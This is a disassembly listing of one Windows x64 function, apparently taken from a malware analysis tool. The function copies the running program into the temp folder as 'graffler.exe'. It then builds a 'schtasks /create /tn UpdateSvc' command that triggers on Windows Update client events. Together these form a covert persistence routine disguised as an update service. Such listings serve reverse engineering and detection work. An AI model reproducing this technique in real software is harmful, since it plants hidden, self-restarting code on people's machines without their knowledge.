Function at 0x140005684
Capabilities:
Copy file
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
push r12
push r14
lea rbp, [rax - 0x148]
sub rsp, 0x230
movaps xmmword [rax - 0x28], xmm6
xor r14d, r14d
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov cl, byte [0x14002a108]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140022170]
movdqu xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [str.graffler.exe]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140021c88]
mov dword [rsp + 0x38], eax
mov byte [rsp + 0x3c], r14b
mov byte [rbp + 0x150], cl
mov rcx, qword [0x140028cb8]
test rcx, rcx
je 0x1400038a6
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028b38]
test rcx, rcx
je 0x1400038ac
mov rax, qword [rcx]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x50]
call qword [rax + 0x10]
lea r10, [rbp - 0x50]
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x38]
cmp r9, 0xf
cmova r10, r8
lea rcx, [rbp + 0x10]
dec rcx
inc rcx
cmp byte [rcx], r14b
jne 0x1400032f1
xor edx, edx
mov al, byte [r10 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x1400032fb
mov r12d, 0x1000
cmp r9, 0xf
jbe 0x140003342
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, r12
jb 0x14000333a
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038b2
mov rcx, r8
call fcn.1400062f8
movdqa xmm6, xmmword [0x140022150]
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], r14b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000338c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x140003387
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038b8
call fcn.1400062f8
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], r14b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400033d0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x1400033cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038be
call fcn.1400062f8
mov cl, byte [0x14002a108]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140022170]
movdqu xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [str.graffler.exe]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140021c88]
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x5c], r14b
mov byte [rbp + 0x150], cl
mov rcx, qword [0x140028cb8]
test rcx, rcx
je 0x1400038c4
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028b38]
test rcx, rcx
je 0x1400038ca
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x30]
call qword [rax + 0x10]
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
xor r8d, r8d
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400034ac
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x1400034a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038d0
call fcn.1400062f8
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], r14b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400034ee
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x1400034e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038d6
call fcn.1400062f8
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], r14b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003530
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x14000352b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038dc
call fcn.1400062f8
mov al, byte [0x14002a108]
mov byte [rbp + 0x150], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x26
lea rdx, str.schtasks__create__tn__UpdateSvc___tr__
lea rcx, [rsp + 0x50]
call fcn.14000504c
nop
mov rcx, qword [0x140028cb8]
test rcx, rcx
je 0x1400038e2
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028d78]
test rcx, rcx
je 0x1400038e8
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
call qword [rax + 0x10]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400035e3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x1400035de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038ee
call fcn.1400062f8
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], r14b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003625
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x140003620
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038f4
call fcn.1400062f8
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], r14b
lea rax, [rbp + 0x10]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], r14b
jne 0x140003638
mov rcx, qword [rbp - 0x80]
mov rax, qword [rbp - 0x78]
sub rax, rcx
cmp rdi, rax
ja 0x140003681
lea rax, [rcx + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.140017f10
mov byte [rdi + rbx], r14b
jmp 0x140003697
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x10]
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.14000515c
mov al, byte [0x14002a108]
mov byte [rbp + 0x150], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8d, 0x5f
lea rdx, str.___sc_onevent__ec_System__mo__System_Provider__NameMicrosoft_Windows_WindowsUpdateClient___
lea rcx, [rbp - 0x10]
call fcn.14000504c
nop
mov rcx, qword [0x140028cb8]
test rcx, rcx
je 0x1400038fa
mov rax, qword [rcx]
lea r9, [rbp + 0x150]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x30]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028d78]
test rcx, rcx
je 0x140003900
mov rax, qword [rcx]
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x30]
call qword [rax + 0x10]
nop
mov rdi, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova r9, qword [rsp + 0x30]
mov rsi, qword [rbp - 0x80]
mov rax, qword [rbp - 0x78]
sub rax, rsi
cmp rdi, rax
ja 0x140003766
lea rax, [rsi + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbx + rsi]
mov r8, rdi
mov rdx, r9
call fcn.140017f10
lea rax, [rdi + rbx]
mov byte [rax + rsi], r14b
jmp 0x140003779
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.14000515c
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400037b2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x1400037ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003906
call fcn.1400062f8
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], r14b
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400037f4
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x1400037ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000390c
call fcn.1400062f8
movdqu xmmword [rbp - 0x20], xmm6
mov byte [rbp - 0x30], r14b
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140003834
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, r12
jb 0x14000382f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003912
call fcn.1400062f8
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.14000be84
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000387e
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x140003879
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038a0
call fcn.1400062f8
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
call fcn.14000c3ec
nop
call fcn.140005ea8
nop
call fcn.140005ea8
int3
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.140005ea8
nop
call fcn.140005ea8
int3
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.140005ea8
nop
call fcn.140005ea8
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.140005ea8
nop
call fcn.140005ea8
int3
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
int3
jmp 0x140003214